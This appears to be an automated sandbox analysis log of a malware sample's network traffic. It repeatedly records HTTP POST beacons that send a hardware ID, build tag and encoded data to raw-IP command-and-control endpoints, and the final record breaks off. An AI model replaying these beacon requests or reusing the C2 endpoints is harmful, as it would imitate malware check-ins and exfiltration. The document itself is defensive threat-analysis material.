Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="build"sila------HJJJECFIECBGDGCAAAEH--
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="build"sila------KJEGCFBGDHJJJJJKJECF--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 